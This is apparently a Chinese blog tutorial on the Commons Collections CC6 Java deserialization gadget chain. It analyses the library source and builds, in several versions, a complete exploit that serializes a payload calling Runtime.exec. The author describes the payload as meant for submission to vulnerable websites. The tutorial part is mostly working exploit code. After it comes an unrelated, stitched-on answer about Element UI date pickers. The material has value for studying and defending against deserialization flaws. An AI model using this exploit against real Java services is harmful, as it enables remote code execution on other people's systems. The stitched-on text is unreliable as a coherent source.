CC6利用链(最好用的CC利用链)--EXP编写思路--源码分析

在这篇文章中,你能更加深刻理解CC利用链,并且能学到更深的EXP编写思路

阅读本篇文章需要先弄明白我前三篇文章,阅读顺序如下:

  1. URLDNS利用链EXP编写之源码分析
  2. CC1利用链EXP编写之源码分析
  3. CC1-LazyMap利用链-源码分析

当然如果有CC链基础的师傅可以放心使用

漏洞影响版本

JDK版本不限制

commons-collections <= 3.2.1

利用链梳理

反序列化 --> HashMap.readObject() --> TiedMapEntry.hashCode() --> LazyMap.get() --> ChainedTransformer.transform() --> InvokerTransformer.transform()

这条CC6利用链和前面两篇文章中CC1的两条链的不同之处在于利用了HashMap的反序列化形成利用链,由于HashMap在非常多的场景下使用,所以开发者一般都不会轻易修改HashMap,因此这个CC6链不受JDK版本限制。仅仅受commons-collections版本的限制。

还有一点就是CC6链利用的一个方法是hashCode(),正好commons-collections中的TiedMapEntry类也有hashCode(),所以在这个地方和本专栏的第一篇文章URLDNS利用链EXP编写之源码分析有异曲同工之妙。

利用链寻找思路分析

在CC6利用链中,我们的寻找思路就不是一级一级往上面找了,因为我们经过前面利用链的研究,已经确定了后面半条链 LazyMap.get() --> ChainedTransformer.transform() --> InvokerTransformer.transform(),所以我们的查找思路就可以从利用链的前面开始了,由于前面的CC1链的两条链都是依赖于JDK中的AnnotationInvocationHandler类的,这个类受JDK版本的影响,所以我们需要找其他类进行利用,很容易想到HashMap,他不仅仅可以序列化,还是非常非常常用的数据结构,这个在JDK版本中一般都不会轻易改变的,经过前面URLDNS利用链的研究,我们可以想到URLDNS利用链的思路,我们是否依旧可以利用HashMap反序列化的时候默认调用hashCode()方法的特性,然后我们只需要再找一个具有hashCode()方法的类,果不其然,师傅们找到了commons-collections中的一个TiedMapEntry类,这个类里面正好具有hashCode()方法,而且这个类还实现了Serializable接口,是可以序列化的,如图:

image-20230815214151467

其中调用了getValue()方法,然后再看到getValue()方法:

image-20230815215148766

可以看到这个方法里面正好调用了get()方法,而且key和map都是可控的,这里正好连接上了后面半条链中的LazyMap的get()方法。

源码分析

根据以上利用链寻找思路分析,我们发现只需要构造一个TiedMapEntry对象,将其传给HashMap在进行反序列化的时候自动调用hashCode()方法就可以完成后半条链的利用,那么我们该如何构造TiedMapEntry呢?将LazyMap对象传入TiedMapEntry对象的构造方法即可。

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "yuan666");

反序列化的时候,TiedMapEntry中的方法调用流程hashCode() --> getValue() --> map.get(),这样就能直接调用到lazyMap的get()方法,从而对接上CC6的后半条链

构造好这个TiedMapEntry对象之后,我们下一步就是构建HashMap对象了,将tiedMapEntry作为key存入HashMap中,从而大致形成前面半条链:HashMap.readObject() --> TiedMapEntry.hashCode():

Map map2 = new HashMap();
map2.put(tiedMapEntry,"yuan_boss");

初步完成EXP编写

下一步就是将map2对象进行序列化生成payload,于是和后半条链的代码写一起,就初步完成了EXP的编写:

/**
 * @program: Java-反序列化
 * @description:
 * @author: yuan_boss
 * @create: 2023-08-16 10:56
 **/
public class CC6Test {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map map = new HashMap();
        //将chainedTransformer对象封装进LazyMap中
        Map lazyMap = LazyMap.decorate(map, chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "yuan666");
        Map map2 = new HashMap();
        map2.put(tiedMapEntry,"yuan_boss");
        //序列化payload
        ByteArrayOutputStream barr = serialize(map2);
        serialize(map2);
    }
public static ByteArrayOutputStream serialize(Object o) throws Exception{
    ByteArrayOutputStream barr = new ByteArrayOutputStream();
    ObjectOutputStream oos = new ObjectOutputStream(barr);
    oos.writeObject(o);
    System.out.println(barr);
    return barr;
 }
}

EXP问题分析

在初步完成EXP之后,进行执行,发现有个问题,竟然直接调出了计算器,可是我仅仅进行了序列化,并没有调用反序列化的方法啊,为什么会出现这种情况呢?下面我们来分析一下:

在这个EXP中,我们是利用HashMap的hashCode()调用来触发链式调用的,我们在执行这段代码map2.put(tiedMapEntry,"yuan_boss");的时候,实际上就会调用到hashCode()方法形成利用链,然后触发计算器,可能有小伙伴会觉得,触发了计算器不是说明目的达到了吗?

如果这样想,小伙伴的侧重点可能就偏了,我们的目的并不是触发计算器就行了,而是在反序列化的时候能触发计算器才是最终目的。因为我们最终是要把序列化好的payload交给具有漏洞的网站进行测试,让网站给我们反序列化的时候触发我们的恶意代码,而不是在我们序列化生成payload的时候执行恶意代码。

因此我们需要加上一个反序列化的方法,并且对我们序列化后的payload进行测试,然后打断点到反序列化,看看反序列化是否能再次触发计算器:

/**
 * @program: Java-反序列化
 * @description:
 * @author: yuan_boss
 * @create: 2023-08-16 10:56
 **/
public class CC6Test {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map map = new HashMap();
        //将chainedTransformer对象封装进LazyMap中
        Map lazyMap = LazyMap.decorate(map, chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "yuan666");
        Map map2 = new HashMap();
        map2.put(tiedMapEntry,"yuan_boss");
        //序列化payload
        ByteArrayOutputStream barr = serialize(map2);
        serialize(map2);
        unSerialize(barr);
    }
	public static ByteArrayOutputStream serialize(Object o) throws Exception{
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(o);
        System.out.println(barr);
        return barr;
 }
	public static void unSerialize(ByteArrayOutputStream barr) throws Exception{
        ObjectInputStream oos = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = oos.readObject();
        System.out.println(o);
    }
}

但是断点到unSerialize(barr);这行之后,发现无法触发计算器,因此可以推断出反序列化的时候没有进入利用链,下面就开始进行源代码分析,在反序列化的时候调用了TiedMapEntry对象的hashCode()方法,然后会调用TiedMapEntry的getValue()方法,如图:

image-20230816141459521

然后就会调用LazyMap的get()方法,接着我们来看到LazyMap的get()方法:

image-20230815204027961

可以看到,要想调用到transform()方法也是需要条件的,如果get()方法传入的key参数在map中存在,就不会调用transform()方法,如果map中不存在这个key,就会进入if语句,然后调用transform()方法执行利用链。但是在LazyMap类的get()方法中,我们可以看到

map.put(key,value),意思就是会往map中put我们传入的key和value,后面如果再调用map的get方法,就会发现map中已经有key了,所以不会调用到transform方法,因此我们在对map进行put之后,需要将LazyMap的key移除,这样就能避免在反序列化的时候由于key存在而无法调用到transform()方法,所以就需要移除key:

lazyMap.remove("yuan666");

经过以上分析之后,我们就可以完善EXP了。

初步完善EXP

/**
 * @program: Java-反序列化
 * @description:
 * @author: yuan_boss
 * @create: 2023-08-15 19:53
 **/
public class CC6 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map map = new HashMap();
        //为了避免在put的时候就执行恶意代码,于是将LazyMap的第二个参数设置为没用的对象
        Map lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "yuan666");
        Map map2 = new HashMap();
        map2.put(tiedMapEntry,"yuan_boss");
        //移除lazyMap中的key,否则反序列化的时候由于具有key,就不会调用transform()方法了
        lazyMap.remove("yuan666");
        //重新给给LazyMap的第二个参数设置为 chainedTransformer
        Class c = LazyMap.class;
        Field factory = c.getDeclaredField("factory");
        factory.setAccessible(true);
        factory.set(lazyMap,chainedTransformer);
        ByteArrayOutputStream barr = serialize(map2);
        UnSerialize(barr);
    }
    public static ByteArrayOutputStream serialize(Object o) throws Exception{
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(o);
        System.out.println(barr);
        return barr;
    }
    public static void UnSerialize(ByteArrayOutputStream barr) throws Exception{
        ObjectInputStream oos = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = oos.readObject();
        System.out.println(o);
    }
}

最终EXP

由于上面的EXP其实还有个细微的可以优化的地方,就是我们在put的时候,会触发利用链执行恶意代码,这是没有意义的,而且如果这个恶意代码如果很危险,是不是就影响我们自身的客户端了,因此为了避免伤害自身,就需要先把恶意的lazyMap对象的第二个参数变为没有恶意代码的,然后在序列化之前通过反射设置lazyMap对象的第二个参数为恶意的transformer即可。

所以在构造lazyMap的方式进行如下改变,将LazyMap的一个Transformer对象变为一个非恶意的对象:

 Map lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));

然后在序列化之前通过反射设置lazyMap:

//重新给给LazyMap的第二个参数设置为 chainedTransformer
Class c = LazyMap.class;
Field factory = c.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazyMap,chainedTransformer);

然后最终可以完善EXP:

最终EXP

/**
 * @program: Java-反序列化
 * @description:
 * @author: yuan_boss
 * @create: 2023-08-16 10:56
 **/
public class CC6Test {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map map = new HashMap();
        //将非恶意的ConstantTransformer对象封装进LazyMap中,防止在本机执行恶意代码
        Map lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "yuan666");
        Map map2 = new HashMap();
        map2.put(tiedMapEntry,"yuan_boss");
        lazyMap.remove("yuan666");
        //重新给给LazyMap的第二个参数设置为 chainedTransformer
        Class c = LazyMap.class;
        Field factory = c.getDeclaredField("factory");
        factory.setAccessible(true);
        factory.set(lazyMap,chainedTransformer);
        //序列化payload
        ByteArrayOutputStream barr = serialize(map2);
        unSerialize(barr);
    }
    public static ByteArrayOutputStream serialize(Object o) throws Exception{
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(o);
        System.out.println(barr);
        return barr;
 }
    public static void unSerialize(ByteArrayOutputStream barr) throws Exception{
        ObjectInputStream oos = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = oos.readObject();
        System.out.println(o);
    }

}
  • 3
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
根据提供的引用内容,可以使用picker-options属性和disabledDate方法来设置el-date-picker不可选择当前时间之前的日期。在picker-options中,disabledDate方法可以接收一个参数为当前日期,返回一个布尔值来表示是否禁用该日期。具体实现可以参考以下代码示例: ```html <el-date-picker type="datetime" :picker-options="forbiddenTime" value-format="yyyy-MM-dd HH:mm:ss" v-model.trim="data.time" style="width: 100%;"/> ``` ```javascript data() { return { forbiddenTime: { disabledDate(time) { return time.getTime() < Date.now() - 8.64e7; }, }, } } ``` 在上述代码中,disabledDate方法中的逻辑判断是通过比较当前日期的毫秒数与Date.now() - 8.64e7的大小来确定是否禁用该日期。如果当前日期的毫秒数小于Date.now() - 8.64e7,则返回true,表示禁用该日期;否则返回false,表示可选该日期。这样就可以实现el-date-picker不可选择当前时间之前的日期。\[2\]\[3\] #### 引用[.reference_title] - *1* [elementui时间/日期选择器选择禁用当前之前(之后)时间](https://blog.csdn.net/weixin_42878641/article/details/129026271)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* [【Element UI】日期选择器el-date-picker 默认选中当前日期==> 不可选当日之前的日期](https://blog.csdn.net/Sabrina_cc/article/details/125854878)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] - *3* [element ui的组件el-date-picker 禁止选择当前日期之前的日期](https://blog.csdn.net/cc6_66/article/details/125545466)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

yuan_boss

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值